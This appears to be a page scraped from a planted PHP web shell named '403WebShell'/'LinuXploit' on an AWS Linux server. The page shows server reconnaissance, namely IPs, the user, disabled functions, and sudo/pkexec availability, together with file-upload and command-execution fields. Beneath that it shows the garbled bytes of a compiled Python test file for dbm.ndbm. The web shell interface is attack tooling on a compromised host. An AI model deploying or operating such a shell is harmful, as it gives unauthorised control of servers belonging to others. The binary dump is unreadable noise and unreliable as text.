Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_dbm_ndbm.cpython-310.pyc
o

�9jx�@spddlmZddlmZe�d�ddlZddlZddlZddlmZGdd�dej	�Z
edkr6e��dSdS)	�)�
import_helper)�	os_helperzdbm.ndbmN)�errorc@sreZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Ze�
ejd�dd��Zdd�ZdS)�DbmTestCasecCs(tj|_tj�|jd�|_|j��dS)N�c)r�TESTFN�filename�dbm�ndbm�open�d�close��self�r�)/usr/lib/python3.10/test/test_dbm_ndbm.py�setUpszDbmTestCase.setUpcCsdD]
}t�|j|�qdS)N��z.pagz.dirz.db)r�unlinkr)r�suffixrrr�tearDowns�zDbmTestCase.tearDowncCs tj�|jd�|_|�|j��g�d|jd<d|jd<d|jd<|j��|�d|j�|�d|j�|�|jdd�|�|j�d�d	�|�	|j�d
��|�|j�d
d�d�|�
t��
|jdWd�n1spwY|�|j�d
d�d�|�|jd
d�|j�
�dS)
Nr�b�asdatasbytes�019237410982340912840198242�12345678910�a�bsxxxsfoo�xxx)r	r
rrr�assertEqual�keys�assertIn�get�assertIsNone�assertRaises�KeyError�
setdefaultr
rrrr�	test_keyss$



�zDbmTestCase.test_keyscCs�tjjdkr|�d�tj�|jd�|_|�|j��g�d|jd<|�|j��dg�|�	d|j�|�|jdd�|�|j�
d�d�|�|j�d�d�|j��dS)NzBerkeley DBzCBerkeley DB doesn't distinguish the empty value from the absent onerr�emptysempty�)
r	r
�library�skipTestrrrrr r!r"r&r
rrrr�test_empty_value(s

zDbmTestCase.test_empty_valuec	CsHdD]}ztj�|j|�|_|j��Wqty!|��YqwdS)N)�r�rw�w�n)r	r
rrrr
r�fail)r�moderrr�
test_modes6s��zDbmTestCase.test_modescCs�tj�|jd��}d|d<Wd�n1swYtj�|jd��}|�t|���dg�Wd�n1s:wY|�tjj��}|��Wd�n1sUwY|�t	|j
�d�dS)Nrzcontext managerzndbm context managerr-sndbm context managerz"DBM object has already been closed)r	r
rrr�listr r$r�str�	exception)r�db�cmrrr�test_context_manager>s
��
��z DbmTestCase.test_context_managercCs�tj�|jd��}d|d<Wd�n1swYtj�|jd��#}|�t|���dg�|�d|v�|�|dd�Wd�dS1sJwYdS)Nrs
bytes value �sbytes key �r-)r	r
rrrr4r �
assertTrue�rr7rrr�
test_bytesJs
�"�zDbmTestCase.test_bytescCs�tj�|jd��}d|d<Wd�n1swYtj�|jd��<}|�t|���d��g�|�d��|v�|�d|v�|�|d��d���|�|dd���Wd�dS1scwYdS)NruUnicode value 🐍uUnicode key 🐍r-)	r	r
rrrr4r �encoder:r;rrr�test_unicodeRs
��
�"�zDbmTestCase.test_unicodec	Cstj�|jd��}d|d<Wd�n1swYtj�|jd��Z}|�t��|d=Wd�n1s8wY|�t��|d=Wd�n1sPwY|�t��d|d<Wd�n1siwYWd�dSWd�dS1s�wYdS)Nrsbytes values	bytes keyr-s
not exist keysnot exist value)r	r
rrr$rr;rrr�test_write_readonly_file^s 
���
��"�z$DbmTestCase.test_write_readonly_filez*requires OS support of non-ASCII encodingscs�tj�dD]}|�tj�|�qtj��d��}d|d<Wd�n1s'wY|�t�fdd�dD���tj��d��#}|�	t
|���dg�|�d|v�|�	|dd�Wd�dS1sgwYdS)Nrrsvalueskeyc3s �|]}tj��|�VqdS)N)�os�path�exists)�.0r�rrr�	<genexpr>qs��z5DbmTestCase.test_nonascii_filename.<locals>.<genexpr>r-)r�TESTFN_NONASCII�
addCleanuprr	r
rr:�anyrr4r )rrr7rrDr�test_nonascii_filenameis
�
�"�z"DbmTestCase.test_nonascii_filenamecCsdd}|�tjj��}tj�|�Wd�n1swY|�|t|j��|�|jj	|�dS)Nznonexisting-file)
r$r	r
rrr!r5r6rr)r�nonexisting_filer8rrr�test_nonexisting_filexs�z!DbmTestCase.test_nonexisting_fileN)�__name__�
__module__�__qualname__rrr'r,r3r9r<r>r?�unittest�
skipUnlessrrFrIrKrrrrr	s�

r�__main__)
�test.supportrr�
import_moduler@rO�dbm.ndbmr	r�TestCaserrL�mainrrrr�<module>s
w�

Youez - 2016 - github.com/yon3zu
LinuXploit